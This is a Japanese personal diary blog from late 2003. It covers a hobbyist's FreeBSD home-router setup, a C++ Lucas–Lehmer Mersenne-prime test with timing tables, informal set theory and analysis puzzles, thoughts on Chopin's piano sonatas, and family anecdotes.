うーむ、R30 は 5.0 の時代に実験インストールしてそこそこ動作した実績があるので何とかなるかも知れませんが、 X24 に関してはしばらく望み薄ですな。BIOS をいじればうまくゆく可能性も残っているのですが、毎回温度が上がってあわてて電源とバッテリーを抜いている(げたから抜くのが一番大変)間に壊れてしまうかも知れない。どうしよう(^^;。

2003年12月19日(金)

ピッチちゃんのの御言葉
おうちで飼っているセキセイインコのピッチちゃんなのですが、才能がないのか育て方が悪いのか、今まで全く言葉らしきものを発しなかったのです。ところが最近それなりの音声を発するようになったのですが、残念ながらあんまり芳しくなく、
長女の咳のまね(^^;
なのです。最近長女も風邪気味で咳をすることが多いのですが、それをまねするようになってしまったのですねー。やっぱり才能がないのかな(^^。
自宅仕事
ちょいと熱が出て(しつこい風邪ですな)会社まで行く気力が出ずお休み。でも納期が近いので自宅でプログラム作成中なのです。

2003年12月18日(木)

モカの旅人算
今までは本能だけでなんとかなって算数で苦労した形跡が全くないモカなのですが、最近旅人算で苦戦しているようです。旅人算はご存じの方も多いと思いますが、同じ場所から違う時間に歩き出した二人の旅人がいて、後に出発した人の方が歩くのが速い場合にどのくらいで追い付くか、という感じの問題なのですが、今では列車のすれ違い時間等の問題に置き換わっている場合が多いようです。例えば、
時速 200Km 長さ 200m の「こだま」を時速 250Km 長さ250m の「のぞみ」が追い越すのにどの位の時間がかかるか。またすれ違う場合は？。
という感じです。この手の問題は速度や距離の合成に関する線型性の認識を陽に使用するので、最初は難しいのは当然だと思いますし、そもそも速度・距離・時間の関係にもはまっているのかも知れません(^^。ちなみに私は上記の様な問題に関して、高校でニュートンの運動法則を「理解した～！！」と思った瞬間までちんぷんかんぷんだったので、親に比べればはるかに学習能力があるのかも知れません。
いまでも鶴亀算は出来なかったりします(^^;。
PPPoE 接続確立時間の謎
数日前から運用を開始した FreeBSD ルーターなのですが、一つ不思議なことがあるのです。前に使っていた BUFFALO のルーターの場合、一度リンクダウンが発生した場合や、ルーターで切断処理を行った後に何度も再接続を試みているにもかかわらず、再接続成功までに 10分程度の時間が必要な場合が多かったのです。この現象はこちらの方にも書いてあるように正常な切断処理を行わないで(でも BUFFALO の場合切断処理をしてもだめだった^^)次の接続を行うと 10 分程度接続を拒絶するためであり仕方がないと思っていたのですが、FreeBSD の場合全く問題なく一度で接続するのです。試しに電話線を抜いてリンクダウンを起こしてもすぐに繋がるし、切断処理をしないために R30 の Ethernet の線を抜いて ppp を終了させて、その後 Ethernet の線を挿して ppp を起動してもすぐに繋がるのです。いずれにしても BUFFALO のルーターの方は中で何が起きているのか全然分からないのでなかなか難しいな謎なのでありますが、現在の状態は以前よりはるかに好ましいので大歓迎なのであります。
ちなみに会社から自宅 FreeBSD ルーターの再接続の実験をやろうと血迷い、 ppp を殺しかけてあやうく思いとどまったのは絶対に内緒なのです(^^。

2003年12月17日(水)

お泊り
昨日から今日にかけて泊まり込み。うーむ、特に難しいプログラムではないのですが、それなりのものを一週間で書くのはしんどいですな。そもそも最初の二日位うだうだと構想をねっていただけだし(^^;。

2003年12月16日(火)

増えてきた ThinkPad in 会社
いつも「IBM 以外はノート PC じゃないよ」と喋っているとそれなりに影響力があるらしく、最近会社で購入するノート PC の IBM 比率が増えてきました。私の同僚も今度開発用に T40(+512M RAM) を買ってもらえるそうで(T40 は私の推薦)ちょっとうらやましいのであります。ちなみに「私には買ってくれないの～」と聞いたところ「かがみさんは愛しの X24 があるからいらないじゃない」ということなのです。確かにもう一台あっても管理が大変なだけで、しかも自分のものでないといろいろ制約があって不便なのですが、なんとなく不公平ですな(^^;。

2003年12月15日(月)

ちょっと心配だったこと
FreeBSD をルーターにしたということで、しばらくの間 tcpdump でログを出していたのですが、たまに次のような出力があったのです (h055.p117.iij4u.or.jp は現在おうちに割り当てられいるアドレス)。
```
19:07:21.416779 h055.p117.iij4u.or.jp.3109 > 216.52.3.2.2703:\
                S 675519866:675519866(0) win 65535  (DF)
```
うーむ 216.52.3.2 のポート 2703 なんて全然心当たりがないなー、もしかしてもう乗っ取られたか(^^;、と一瞬思いましてグーグルで検索したところ、どうも Spamassassin がスパム送信元アドレスかなんかを調査するために接続しているらしく一応問題はなさそうです。ただし SYN に対して全然 ACK/SYN が返ってこないようですので、この参照については設定を変更して取りやめにしたほうが良さそうです。実をいいますと最初構成を考えた時には、内側 LAN に外側(Internet)のデータ(とくに UDP 関連)が直接流れ込むのに一抹の不安があったのですが、
- ADSL モデムのレベルで PPPoE のデータ以外は通らない設定になっている。
- 外向けもしくは外からのパケットは PPPoE パケットであり IP ではないのでルーター以外は捨ててしまう。
ということでこういうずさんな構成(ハブを共有)でも存外安全なのであります。また PPPoE のデータを tcpdump で調べたところ、ルータが最初のの PADI パケットの送信で送り元アドレスを自分の Ethernet アドレスとして Ethernet レベルのブロードキャストを行い、それに対して ADSL モデムがこんどは Ethernet レベルのユニキャストで反応して、以下は Ethernet レベルのユニキャストが流れる様なので、スイッチングハブを使用すれば激とろ ADSL とはいえ LAN の帯域をむだに消費する心配もないようです。
画像にサイズを記述するように変更
日記の中の特定の日付や記事へのリンクを指定した場合、リロードしないと場所がずれて表示されることがありました。これは画像にサイズが書いていなかったため、画像を全部読み込むまでブラウザがリンクの位置を計算出来ないためだと思います。という訳で、全部の <img src...> 埋め込みの画像にサイズを記述しました。
＃前から気にはなっていたのですが画像にサイズを指定するのことが
＃可能なことを知らなかったりしました(^^;。

2003年12月14日(日)

おおくわがた生還
実は数日前に虫かごの蓋を開けっ放したか、蓋が緩んでいたか分からないのですが頂いたおおくわがたが逃走いたしまして、どこを探しても見つからずあきらめかけていたのですが、本日モカが家具の奥の方にいるのを発見致しまして、うまいこと手もちっちゃいので自分で捕まえてかごに戻したのです。さすがモカ姫！！。

＃頂き物なのでとっても困っていたのです。
弱 GoldStein 列の解答
結論を言いますと 0 になります。
a_m a_m-1...a₁ a₀
は辞書式順序で減少していずれ全部 0 になります。小さい初期数で実験してみると分かり易いのであります。

2003年12月13日(土)

FreeBSD/R30 ルーター化大作戦
どうもメルコ、もとい BUFFALO の安物ルーター(BLR3-TX4L)には不信感がありまして、ついに自宅サーバー FreeBSD/R30 のルータ化作戦発動です。今までルーター化を断念していた理由としましては、諸般の事情により R30 と ADSL モデム・ご家族さま PC は別の部屋に置いてあり、長い Ethernet ケーブルを施設するのがとっても面倒だったからなのですが、やっと決断がつき「10 メートルきしめんケーブル」と壁にひっついて線をはわせる管みたいなのを購入したのです(透明ガムテープも使用)。

さらに安物スイッチングハブを一つ購入致しまして、[R30・X24] 側のハブと [ADSL モデム・ご家族さま PC・無線 LAN] 側ハブの間を 10メートルのケーブルで接続したのです。今まで有線が施設されていなかった、ということで R30 はサーバー様なのに無線 LAN 経由でインターネットに繋がっていたのですが、このマシンはは移動することがないので、不安定になる可能性がある無線 LAN カードを使う必要はなく、PCMCIA スロットは無線 LAN カードからこの激安 Ethernet カードに交換です。おうちの ADSL はリンク速度 3Mbps 弱の激とろですので、 PCMCIA 側の 10BaseT が外向けインターフェースで 100BaseT の fxp0 が内向きのインターフェースになるのはもちろんであります。で、例のごとく「偉大なる先人に学べ」という言葉があり、学ぶという言葉は「まねる」ところから来ているそうですので、たかたにさんの記事の通りに設定したところ(kernel のオプション不足で何回か config し直した^^)、うれしいことに一発でほとんど問題なく動くようになったのです。もちろん「若干の問題」は私固有の問題でありまして、たかたにさんの設定に問題があった訳ではありません。
そんなこんなで、しばらく色々私固有の設定作業を行っていたのすが、一度リブートしたところ突然 PPPoE の接続が不安定になってしまい、最悪接続ができない状態になってしまったのです(^^;。いやー、これには参りました。今回は上に書いたように安物のスイッチを 2つ使っていまして、その中に内側のパケットと外側のパケットが混在する構成なので、理論的には大丈夫なのですが、 PPPoE 接続をきちんと張れるかに関しては若干の不安があったという事情もあり、「やっぱりまずかったか」とがっかりしつつ、ハブの電源を入れ直したり色々試行錯誤したのですが全然だめなのです。さらに悪いことに X24 を ADSL モデムと直接接続して PPPoE 接続を試みるとうまくゆくのです。
むむむっ、やはりスイッチを乱用しすぎたのが悪かったのかなー、と一時間以上悩みまして、「仕方がないもとに戻そうかなー」と思って R30 を眺めたところ PCMCIA イーサネットカードのリンクランプが着いていないのです。なんとケーブルがはずれかけていたのですねー(^^。ちゃんと入れ直したところさっきまでの不調が嘘のように安定しまして、やっと一安心したのであります。
余談ですが、無線 LAN はご家族さま PC 側のハブに繋がっていまして、X24 は通常の場合こちらを経由して R30 を通りインターネットに出るのですが、 X24 と R30 間のバックアップ等の場合 100BaseT で接続しないと遅すぎます。そこで R30 内側(fxp0)に alias アドレスも設定して、X24 の Ethernet ポートがハブに接続されている場合は、そちらのアドレスを指定することにしたところ、100BaseT を経由して高速なデータ転送も可能となったのであります。
[良くなった点]
- FreeBSD ルーターということで自由な設定が可能でありますし、障害等の原因判別がつきやすい。
- 買ってきた内容不明なルーターより「かっこいい」し日記のねたができた(^^。
- ADSL の実効速度が 5% 程度上がった。
- 以前のルーターでは不可能だったのですが、ADSL モデムのメンテナンスアドレスも内側のクラスにして、いつでもリンク速度を見ることができるようになった。
- サーバーと ADSL モデム間が有線になったので、無線より安定するはず。
[悪くなった点]
- 配線が増えてしまった。もともとあんまり綺麗ではないが美観をそこねる。
- 安物のルーターを買うよりも、安物ハブときしめんケーブルとケーブル収容装置の方がコストが高い(^^;。
- ルーターが余ってしまった。これは予備になるのでそんなに悪くはないのですが...。
- PCMCIA 無線 LAN カードが余ってしまった(^^。

2003年12月12日(金)

メンテナンスのお知らせ
12月13日(土)は自宅サーバーのメンテナンスのため時間によっては
http://evariste.dd.que.ne.jp/~kagami/
へのアクセスが出来ない場合があります。日記だけは一時的に
http://evariste.que.ne.jp/kagami/
以下に置きますので、そちらでは参照可能となります。ただし画像は転送しませんので文章のみとなります。
ZFC 公理系覚え書き
集合論では任意の対象を(数や点も)集合と考えます。といいますか任意の対象 = 集合(数や点も集合)は空集合の存在公理から下記の公理群で構成されます。
[空集合の存在公理]
x が存在してすべての y に対して (NOT y ∈ x)。
x は外延性の公理により一意に定まる。x を空集合または 0 と呼ぶ。
[外延性の公理]
x,y に対して (z ∈ x) と (z ∈ y) がすべての z に対して同値になる必要十分条件は x = y である。
[内包の公理]
Q(x) を命題、A を集合とするとき、(x ∈ A) で Q(x) を満たす集合全体は集合である。
この集合を {x ∈ A | Q(x)} と記述する。
[対の公理]
x,y を集合とするとき x と y を要素とする集合が存在する。
この集合を {x,y} と記述する。
[合併の公理]
x を集合とするとき、ある (y ∈ x) に対して (z ∈ y) なる z 全体は集合である。
この x を Union(x) と記述する。
[巾集合の公理]
x を集合とするとき次の性質を満たす y 全体は集合である。任意の (z ∈ y) に対し z ∈ x
この集合を x の巾集合と呼び P[x] と記述する。
[無限公理]
無限集合が存在する。
[置換公理]
Q(x,y) を命題として Q(x,y) と Q(x,y') が成立するとき y=y' が成立すると仮定する。このとき任意の集合 A に対して「ある (x ∈ A) が存在して Q(x,y) を満たす y」全体は集合である。
[基礎の公理]
A が空集合でない場合、(x ∈ A) が存在して x と A は共通な要素を持たない。
[選択公理]
y を集合とする。このとき任意の空でない (x ∈ y) に対して (f(x) ∈ x) を満たす y から Union(y) への写像が存在する。
無理点上だけで連続な関数解答
[有理点 x0 で不連続なこと]
Epsilon>0 が存在して、任意の Delta>0 に対して |x-x0|<Delta かつ |f(x)-f(x0)|>=Epsilon を満たす x が存在する。
を証明すれば良いが、Epsilon として x0=p/q なる既約分数表現に対する |1/(2q)| をとれば良い。
[無理点で x0 で連続なこと]
分母が有界な有理数の極限は有理数になる
ことを証明すれば良いが、極限に収束するという条件により、この様な有理数で相異なるものは有限個しか存在しない。

2003年12月11日(木)

<blockquote> の表示スタイルを変更
とある人に教えて頂きまして、
<blockquote> が浮き出るように
変更。どうもありがとうございます。
＃昨日たくさん寝たのにまだ徹夜の疲れがとれません。

2003年12月10日(水)

寝て曜日
昨日から徹夜で仕事で午前中に帰宅して爆睡。

2003年12月9日(火)

ショパンピアノソナタ第3番 Op 58
私はショパンの音楽がが大好きでして、特に「マズルカ」「ノクターン」「24 の前奏曲」を聴くことが多いのです。マズルカはポーランド民族系の独特のリズムとショパンのピアノに対する感受性が相まって、どの曲も大好きなのですが、特に「作品 59」の三曲を聴くことが多いのです。「ノクターン」も良いですね。余り高く評価しない人もいるようですが私は大好きです。絶妙な装飾音と転調で構成され、ピアノの音の美しさを極限まで引き出している「作品27 の2」や、幻想曲的な趣きを持つ傑作の「作品 48の1」を特に好んで聴きます。それから「24の前奏曲」。これはショパンの色々なジャンルの傑作の断片を集めた趣きがあり、それにもかかわらず全曲を通した統一感と終曲に向かう劇的な構成がすばらしく、ショパンの曲を一回だけ聴いて良いので聴きたい曲を選びなさい、と言われたら迷わずこの曲集を選びます。
ところでたくさんの名曲を残してくれたショパンなのですが、中規模以上の曲 (特にバラードやスケルツオ)に関しては色々問題が多と思うのです。なぜか 5 分以上の曲になると、様式的に「どうかな」と思う場合が増えてきまして、例えばすばらしい集中度をもったフレーズの後に突然「余り意味がなさそうで関連がつかめないアルペジオや分散和音による上昇・下降」が現われ、個々の部分は確かに美しいのですが、全体としての音楽の流れが途絶えてしまう場合が多いのです。
このように規模が大きい曲は余り得意としなかったと思われるショパンなのですが、大曲としては「ピアノ協奏曲」を 2曲、「ピアノソナタ」を 3曲残しているのです。2曲のピアノ協奏曲は若いころの作品で、ピアノの旋律がとても美しく、オーケストラの扱いに色々問題があるのは確かなのですが、特に 1番 (これは 2番より後に作曲された)は様式的にも割とまとまりがよく、好んで聴く曲の一つなのです。ピアノソナタ 1番は習作的な作品で一度だけ偶然ラジオで聴いたことがあり、旋律や和声に美しい部分はあるのですが、構成というものを全く感じることができず、音楽がふらついている様に聞こえて途中で集中することが出来なくなってしまいました。2番のピアノソナタは 3楽章がいわゆる「葬送行進曲」のソナタで、劇的な内容もつ一楽章は素晴らしいと思うのですが、全体の構成はあまり好きではなく、最近はほとんど聴くことがありません。葬送行進曲が色々な場面で使われ過ぎて、聴いて感動するのが難しいという事情もあるのかも知れません。
さて、本題の 3 番のピアノソナタなのですが、これは数あるショパンの曲の中でも屈指の傑作で、半年くらい前に偶然クラウディオ・アラウが弾いているのを NHK の放送で聴きまして、美しい音とすばらしい集中度に唖然として聞き入った記憶があるのです。最近その記憶がよみがえり、突然 CD が欲しくなったのですが、残念ながらアラウの演奏した CD は見つからずマウリツィオ・ポリーニの演奏した版を購入したのです。一楽章は下降するパッセージで開始して、劇的な要素を持ちながらショパン独特の透明感も合わせ持ち、さらに全体が最初のパッセージの展開と解釈できる非常に息の長いメロディーが続き、演奏者も聴衆も非常な集中度を要求される音楽です。2楽章は 3楽章への繋ぎ的な側面を持つと考えられる短いスケルツオで、こういう構成は晩年のベートーベンが好んで使ったのですが、もしかしたらそんな影響も少しはあるのかもしれません。3楽章は本当にショパンらしい夢心地の美しさが無限に継続する様な音楽で、それに続く 4楽章は一転して激しい劇的な内容となるのですが、それにもかかわらず全体の楽章の論理的な関連はとぎれず、聴くたびにその集中度と完璧な構成のすばらしさに感動します。
ポリーニの演奏に関してですが、このピアニストは技術的にも音楽的にも完璧な境地に達していると思うのですが、アラウの演奏に比べるとややテンポが速く、さらにテクニックが完璧すぎて要所のアルペジオを、彼が若いころに弾いた「エテュード Op 10-1」の有名な演奏の様な非常な明晰さで弾き、これはこれで素晴らしいのですが、個人的にはもう少し陰があった方が良いと感じまして、アラウの演奏の方が感動が深かったことは確かです。ただし私の場合、偶然テレビ等で良い演奏を耳にしますと、「一回しか聴けない」という心理が働き、 CD に比べてはるかに集中して聴ける場合が多いので、今回手にいれた CD を何回か聴けば見解が変化するかも知れません。
今日の日記に書いた曲はピアノ協奏曲を除けば特に有名な曲という訳ではありませんが、本当に素晴らしい曲ばかりなので、ピアノ音楽が好きでまだ聴いていないという方には是非一度聴いて頂きたいなと思ったりするのであります。
(おまけ)
山梨から会社に来てくださっている方から頂いたゆず。日曜日に収穫されたそうで、手が傷だらけになったそうな(^^。

2003年12月8日(月)

弱 Goodstein 列
一般に自然数 n と b に対して、
n = a_m b^m + a_m-1 b^m-1 + a₁ b¹ + a₀ b⁰ (0 <= a_i < b)
と一意に表現できるのは n の b 進法展開として良く知られていまして、特に b=10 とした場合が通常の 10進法展開で、一般には
n = a_m a_m-1 ... a₁ a₀
と記述するわけであります。ここで例えば 47 という数を考えて、次の手順により p(p は奇素数)による p 進展開の列を考えます。
```
a_0 = 3^3 + 2x(3^2) + 2 = 47
a_1 = 5^3 + 2x(5^2) + 1 = 176
a_2 = 7^3 + 2x(7^2) = 441
a_3 = 11^3 + 2x(11^2) - 1 = 11^3 + 11^2 + 10x11 + 10 = 1572
a_4 = 13^3 + 13^2 + 10x13 + 9 = 2505
a_5 = 17^3 + 17^2 + 10x17 + 8 = 5380
a_6 = 19^3 + 19^2 + 10x19 + 7 = 7417
a_7 = 23^3 + 23^2 + 10x23 + 6 = 12932
a_8 = 29^3 + 29^2 + 10x29 + 5 = 25525
```
という案配に、47 の 3進法展開から始まり「そのままの n 次の係数」を使用して、基数を 5 とした形式的な展開を行い 1 を引くのです。5 から 7 への遷移も同様です。注意すべきことは、a_3 の様に 0 次の項が負の数になってしまった場合は n 進法とは言えなくなるので、その数を(この場合は 11進法で)係数がすべて 0 以上になる様に記述し直して、次回(13)以降はその係数から同様の計算を行うのです。
[問題]
a_n は n が大きくなると急激に増大する感じがするが、実際の a_n の漸近的な(n が非常に大きくなった場合の)挙動を求めよ。答えはこんど～(^^。
＃<pre> </pre> の中に < が入っていて表示が乱れる場合が
＃ある教えて頂き修正致しました。
＃また も教えて頂き(知らなかった^^;)
＃これで書き直しました。どうもありがとうございます。
無理数上だけで連続な関数
今日の昼休みに会社で話をしていて、「イプシロン-デルタ論法って面倒なだけでどうも...。何か面白い例ってないのですか～」という話題になりましてりまして(変な会社ですな^^)、思い出したのが次の例なのです。
f は実数から実数への関数(写像)で次の条件で定義される。
```
    f(x) = 0   (x が無理数の場合)
    f(x) = 1/q (x が有理数で既約分数での表現が p/q の場合)
```
結論を言いますと f(x) は無理点で連続で、有理点では不連続なのですが、無理点上で繋がっていて(連続)有理点上で切れている(不連続)などというのは、直感的に想像が付きにくいですねー。それでもこの問題は Epsilon-Delta 論法を勉強すると最初の方に出てくる演習問題でして、厳密生の威力を示す良い例である思います。
＃証明は読者への演習問題(^^。有理点上で不連続なのは自明かな。
＃証明例は数日後に書く予定。

2003年12月7日(日)

最近の自宅無線 LAN 状況
突然気が付いたのですが、おうちの無線 LAN の調子が良くて、最近は家で使っているときに繋がらなくなるのに気が付くのは皆無なのです。で、昔作った無線 LAN 不調検出・リカバリーシステムのログを参照いたしますと、これが 9月の後半から突然調子が良くなっているのです。ところで 9月の後半と言いますと、丁度 ADSL モデム(MNIII)とメルコ(BUFFALO)のルーター( BLR3-TX4L ) の間にスイッチングハブを入れた時期なのです。ちょっと納得出来ないのはモデムとルーターの間にスイッチイングハブを入れたのであって、無線 LAN の Ethernet 側の方はメルコ(BUFFALO) のルーター側に繋がっているので関係無いような気がするのですが、無線 LAN の環境を特に変更した記憶もないので、なんとなくメルコ(BUFFALO)側の問題があった様な気がするのです。安くてそこそこの機能があるのは分かるのですが BLR3-TX4L には不信感があるので買い換えたいな。でもおかねが...(^^。

2003年12月6日(土)

追加
昨日の自宅 PC ルーカステストの表にみっつ追加。ちなみに一日は 86400秒だったりします。

2003年12月5日(金)

おうちの PC でルーカステスト

ということで、自分の PC でどの程度までのメルセンヌ素数の確認計算が可能か試してみたのです。もとねたとしては、多倍長計算のパッケージとして定評がある CLN( http://www.ginac.de/CLN , /usr/ports/math/cln) というものを調達致しまして、これを使えばプログラムも簡単に書けるのですが、サンプルを見たところちゃんとルーカステストの例も付いていまして、それを少々修正したのを利用することにしました。もともとが GNU Licence ですのでここに掲載するプログラムもそれを継承します。

----------------------------------------------------------------------------
/*
 * Copyright (c)    Bruno Haible 1988-2002
 * Copyright (c) Richard Kreckel 2000-2002
 * Modified by KAGAMI.H 2003
 */

#include <stdlib.h>
#include <cln/integer.h>
#include <cln/modinteger.h>
#include <cln/io.h>
#include <cln/timing.h>

using namespace std;
using namespace cln;

bool mersenne_prime_p_modint(int q);

int main (int argc, char* argv[])
{
    bool isprime;
    int q;
    if (argc!=2) {
        cerr << "Usage: lucaslehmer exponent" << endl;
        exit(1);
    }
    q = atoi(argv[1]);   /* 引数は 2 の巾乗の部分 */
    /*
     *  q が素数でないと 2^q -1 は絶対に素数とならないのが、
     *  ちょっと手抜きで偶数をはじく
     */
    if (!(q >= 2 && ((q % 2)==1))) {
        cerr << "Usage: lucaslehmer q  with q odd prime" << endl;
        exit(1);
    }
    /*
     * これが本体の実行。CL_TIMING は実行時間を計測して
     * 出力するマクロ
     */
    { CL_TIMING; isprime = mersenne_prime_p_modint(q); }
    cout << "2^" << q << "-1 is ";
    if (isprime)
        cout << "prime" << endl;
    else
        cout << "composite" << endl;
    return(0);
}
/*
 * 2^q - 1 が素数かどうかルーカス法で判定する
 */
bool mersenne_prime_p_modint(int q)
{
    int i;
    cl_MI Li;
    cl_I m = ((cl_I)1 << q) - 1;            /* m = 2^q - 1 を計算 */
    cl_modint_ring R = find_modint_ring(m); /* Z/mZ(m を法とする剰余環) */
    /* 
     * ルーカス方をそのまま実装
     * R->canonhom(n) は n を R の要素と考えた対象を返す
     * この場合 mod m での整数
     */
    for (i = 0, Li = R->canonhom(4); i < q-2; i++)
        Li = R->minus(R->square(Li),R->canonhom(2));
    /* 最終結果が mod m で 0 となるかどうかを判定 */
    return R->equal(Li,R->zero());
}
コンパイルの方法
(ports/math/libgmp4,ports/devel/stlport もインストールされる)

CC -O -pthread -DTHREAD_SAFE lucaslehmer.cc \
-I/usr/local/include/stlport -I/usr/local/include/ \
-L/usr/local/lib -lcln -o lucaslehmer
----------------------------------------------------------------------------

で、実際に下の下のおまけ表の真ん中辺の素数判定の時間を計測したのが次の表でして、大体 2の巾指数(肩に乗っている数)が 2 倍になると計算時間が 5 倍程度必要になると感じがするのですが、44497 から 86243 のところで異常に時間が増えているのは、このあたりでキャッシュに入りきらない頻度が増えたためであると推測されます。時間をかければ今の普通の PC で 1990年のスーパーコンピューター程度のレベルには行けるかなという感じなのですが、もちろん今回のお遊び計算は「すでに分かっている結果を確認」しているだけですので、実際の発見は色々な素巾指数をを試す必要がありなかなか大変であると思われるのであります。

メルセンヌ素数 X24 での実行 CPU 時間

2^107-1 0.001 s

2^127-1 0.000 s

2^521-1 0.006 s

2^607-1 0.007 s

2^1279-1 0.023 s

2^2203-1 0.080 s

2^2281-1 0.088 s

2^3217-1 0.179 s

2^4253-1 0.326 s

2^4423-1 0.404 s

2^9689-1 2.817 s

2^9941-1 2.979 s

2^11213-1 3.903 s

2^19937-1 17.564 s

2^21701-1 21.318 s

2^23209-1 25.019 s

2^44497-1 134.217 s

2^86243-1 1339.525 s

2^110503-1 1764.846 s

2^132049-1 3768.296 s

2^216091-1 6261.111 s

2^756839-1 87572.801 s

(おまけ)知られているメルセンヌ素数の表

巾指数 10進表現での桁数発見年

2 1 ----

3 1 ----

5 2 ----

7 3 ----

13 4 1456

17 6 1588

19 6 1588

31 10 1772

61 19 1883

89 27 1911

107 33 1914

127 39 1876

521 157 1952

607 183 1952

1279 386 1952

2203 664 1952

2281 687 1952

3217 969 1957

4253 1281 1961

4423 1332 1961

9689 2917 1963

9941 2993 1963

11213 3376 1963

19937 6002 1971

21701 6533 1978

23209 6987 1979

44497 13395 1979

86243 25962 1982

110503 33265 1988

132049 39751 1983

216091 65050 1985

756839 227832 1992

859433 258716 1994

1257787 378632 1996

1398269 420921 1996

2976221 895932 1997

3021377 909526 1998

6972593 2098960 1999

13466917 4053946 2001

20996011 6320430 2003

2003年12月4日(木)

またまた徹夜
昨日から今日にかけてまたまた徹夜。眠いです。
メルセンヌ素数
大きい数が素数かどうか判定するのは多項式時間で可能ということで、計算量的には容易な問題なのですが、実際に一般的な素数判定を行おうとすると、高々は数千桁程度の自然数に対しても非常に時間がかかってしまうのです。ところがメルセンヌ数(素数 q に対する 2^q - 1という形) という自然数に対してはルーカステストという方法で、現在のコンピューターでも非常に大きな数を素数と判定出来る場合があるのです。ここでルーカステストとは、

S_0 = 4
S_{i+1} = S_i^2 - 2 (i>=0) と帰納的に定義するとき
2^p - 1 が素数になるための必要十分条件は S_{p-2}=0 mod (2^p - 1)

というアルゴリズムで、これを利用して巨大な素数列が発見され続けているのですが、教えて頂いた情報によりますと 12月2日に最新のメルセンヌ素数が発見されたそうで、

2^20996011 -1 = 10^{6320429.1}

という 10進数で表現すると 632万桁強の数なのです。

2003年12月3日(水)

ThinkPad X40
IBM のこちらのページによると ThinkPad X40 が発売されるそうです。価格はオプションなしで 19 万円台と ThinkPad としては安い方かなと思います。X24 と比較した特徴としては、
- キーボードがフルサイズになった(私は英語キーボードなので関係なし)。
- Pentium M を採用しバッテリーが 3.5時間(X24 は 3時間)。
- CPU クロックは 1GHz(X24 はもう少し速かったはず)。ただし X40 は DDR SDRAM を搭載しているので実効速度は X24 より高速と思われる。二次キャッシュも 1M バイトとかなり多い。
- IEEE 802.11b 内臓モデルあり。オプションで「ワイヤレスLAN802.11a/b/g Mini-PCI カード」を追加すると IEEE 802.11a/b/g を選択可能。どちらも FreeBSD ではドライバーがなさそう(不明)。
- CF スロットが廃止され、代りに SD カードスロットが付いてくる。CF の方が汎用性があるので、これはあんまりありがたくないです。
という感じでして、調査がずさんなので間違っているかも知れないのですが、現在使用している X24 に対し余り魅力を感じる部分はないのです。そもそも欲しいと思っても先立つものがなく、魅力的な PC だったりするととってもくやしい思いをするので、あんまり意欲をそそられない機種であって良かったのかも知れません(^^。
＃ X24 を越えるマシンがでませんな。

2003年12月2日(火)

なかなか大変写真の整理

先日のピアノ教室の発表会では、数打ちゃあたるということで、大量の写真を撮りまくりまして、256M バイトの SD では足りなくなって、予備の 128M バイト(と予備の電池)も動員しまして、撮った枚数が何と 360枚(^^。で、おうちでサーバーに全部コピーしまして閲覧システムで見る訳ですが、いくらなんでもおんなじ様な写真がたくさんあってしかも失敗作もかなりあるので、かなりの枚数を削除する必要があるのです。その場合削除機能を利用すれば簡単に削除できると思ったのですが、これがちっちゃくした写真だと成功か失敗か良く分からなくて、結局大きい写真を見る必要があって、とても時間がかかるのです。仕方がないので xv で全部見て一枚ずつファイル名をメモしてから、削除機能を利用するというとてもまぬけなことになってしまったのです。最終的に残った写真は 216枚でファイルの容量がおよそ 200M バイトということになりました。

余談ですが打ち上げでのピアノの先生との会話。

私先生の写真も何枚か撮ったのでメールでお送りしましょうか。

先生でも家の ADSL は 12M で実際は 10M 位しか出ないので。

かがみさんのお宅は 24M ですよね～～～。

もちろん先生はおうちで 2.5M 位しか出ないのを知っているのです。

2003年12月1日(月)

やっぱり継続 @FreeD
ザウルスさまが壊滅し一時は解約しようと思った @FreeD ですが、当面契約を続行して様子をみることにしました。やはりいざというときに無いととても不便そうなのと、「やめない方が良いのでは」という突っ込みも入りまして、なかなか説得力のある理由が書いてあったからです(^^。もちろん今まで以上にお金をかけるのは論外なので、携帯のパケ割りは取りやめです。最近本当に目が悪くなって PDA の文字を読むのが非常に難しくなってきていたので、今後ザウルス等を再購入することはないと思います。
＃いや～、超近眼でもちゃんと老眼になるのですね(^^。

2003年11月30日(日)

ちょっと早いクリスマス会

今日はモカがピアノやドラムを習っている音楽教室のちょっと早めのクリスマス会だったのです。クリスマス会といっても、集まってケーキを食べたりするのではなく、夏はピアノの発表会だったということで、冬はエレクトーンやドラムなどの主に合奏の発表会なのです。モカはエレクトーンを弾いたり、ドラムをたたいたり、歌いながら踊ったりと大活躍だったのですが、実をいいますと、モカがピアノを弾いて奧さまが歌って、私がドラムをたたくという演奏もあったりしたのです。曲目は「虹のかなたに」でした。

開演前の打ち合わせ
演奏前

エレクトーン演奏
ドラム演奏

今日は犬(トト)のぬいぐるみ
そーらん節(^^

せりあがり
打ち上げで疲れた～

2003年11月29日(土)

徹夜
今零時。まだ会社だったりします(^^。5人でわやわや作業してます。
今朝の４時。やっと一段落、といいますか眠くて仕方がないので、始発でおうちに帰ります。

2003年11月28日(金)

シグナルと割り込み
諸般の事情↑によりこんど(^^;。

2003年11月27日(木)

決断できない @FreeD 解約
実を言いますと昨日は山梨県に日帰り出張でして、出張先で色々なテストを行ったのですが、このテストが一回仕込みを入れると数十分待つ必要があって、待っている間は結構ひまだったのです(^^;。そういう時 X24 + @FreeD はとっても良いひまつぶしになりまして、「これがなかったらとても退屈だったろうな」と考えますと、ちょっと解約する決断がつかなくなってしまったのです。ザウルス亡き今、コストパフォーマンスは良くないのですが、@FreeD を持ち続けることにより次の利点が考えられます。
- 電車が空いてくれば X24 でメールを読める
- 外出先でいざというときに調べものができる
- 同様にお客さま等を訪問してソフトの忘れ物があった場合に簡単に吸い上げることができる
- 自宅や会社からの通常のインターネットアクセスが不調の場合にバックアップとして使用可能
- X24 を歩きながら使う心配はないので壊さない(^^;
等々意外と利用価値が高いのです。特に仕事で外出した場合に利用できなくなるととても困る様なな気がするのですが、あんまり使わないのに月5,000円は高いし、といって無いと不便、ということで心は千々に乱れるのであります(^^。
＃行きは車で行ったのですが、運転してくれた人が用事があって帰ってしまい、
＃帰りは禾生駅から新宿経由で藤沢まで電車。丁度特急の待ち合わせが悪く
＃中央線快速を使用。遠かったです(^^;。

2003年11月26日(水)

相撲部屋
ご存じの通りお相撲さんはとっても太っている人が多いのです。個人的には最近の相撲取りは太りすぎて、それが人気凋落と実力低下の最大の原因である思うのですが、伝統に従い太っている方が有利、ということとします。
一方、相撲には部屋制度がありまして、部屋に属さないと出場することさえ出来ないのです。そこで当然、どうして「部屋」というものが必要なのか、という重大な疑問が生ずるわけですが、長年の研究によりついに完璧かつ画期的な理論を発見したのです。
